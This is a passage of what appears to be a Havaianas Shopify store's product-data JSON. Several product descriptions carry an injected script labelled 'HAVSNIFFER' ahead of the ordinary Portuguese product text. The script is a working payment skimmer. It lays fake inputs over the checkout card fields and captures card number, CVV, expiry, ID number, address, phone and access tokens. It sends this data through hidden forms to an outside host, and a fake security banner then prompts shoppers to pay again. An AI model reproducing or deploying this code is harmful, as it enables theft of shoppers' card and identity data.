||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003ePara proteger seu rosto do sol e acrescentar mais charme ao look, vem de Boné Havaianas!\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Café \/ Único","offer_id":45624323932417,"sku":"4148220_0727_998","price":139.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4148220_0727_BONE-HAVAIANAS-TRUCKER_A.png?v=1734122992"},{"product_id":"shoulder-bag-havaianas-color-4148988-0428","title":"Shoulder Bag Havaianas Color","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eA Havaianas Street Bag Color tem tudo para ser sua grande companheira nas aventuras urbanas: uma alça versátil, que permite usá-la como pochete ou a tiracolo, o tamanho perfeito para as coisas essenciais (e mais um pouquinho!) e um bolso externo de silicone com textura de Havaianas.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Beige \/ Único","offer_id":45712458645761,"sku":"4148988_0428_998","price":144.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4148988_0428_STREET-BAG-HAVAIANAS-COLOR_A.png?v=1734119246"},{"product_id":"chinelo-havaianas-track-plus-4149926-0154","title":"Chinelo Havaianas Track Plus","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eLeve e versátil, esse é o chinelo masculino Havaianas Track Plus. Perfeita para a praia e também para a cidade, essa sandália possui tiras mais grossas e produzidas em tecido para um melhor encaixe nos pés. O solado tratorado e robusto proporciona mais estabilidade e garante conforto extra. O icônico logo Havaianas em formato de tag nas tiras é o toque final nesse design moderno.\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Beige \/ 39\/40","offer_id":45713005576449,"sku":"4149926_0154_390","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Beige \/ 41\/42","offer_id":45713163747585,"sku":"4149926_0154_412","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Beige \/ 43\/44","offer_id":45713163780353,"sku":"4149926_0154_434","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Beige \/ 45\/46","offer_id":45713163813121,"sku":"4149926_0154_456","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Beige \/ 37\/38","offer_id":45713164239105,"sku":"4149926_0154_378","price":159.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4149926_0154_HAVAIANAS-TRACK-PLUS_A.png?v=1734118451"},{"product_id":"chinelo-havaianas-track-plus-4149926-4896","title":"Chinelo Havaianas Track Plus","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete 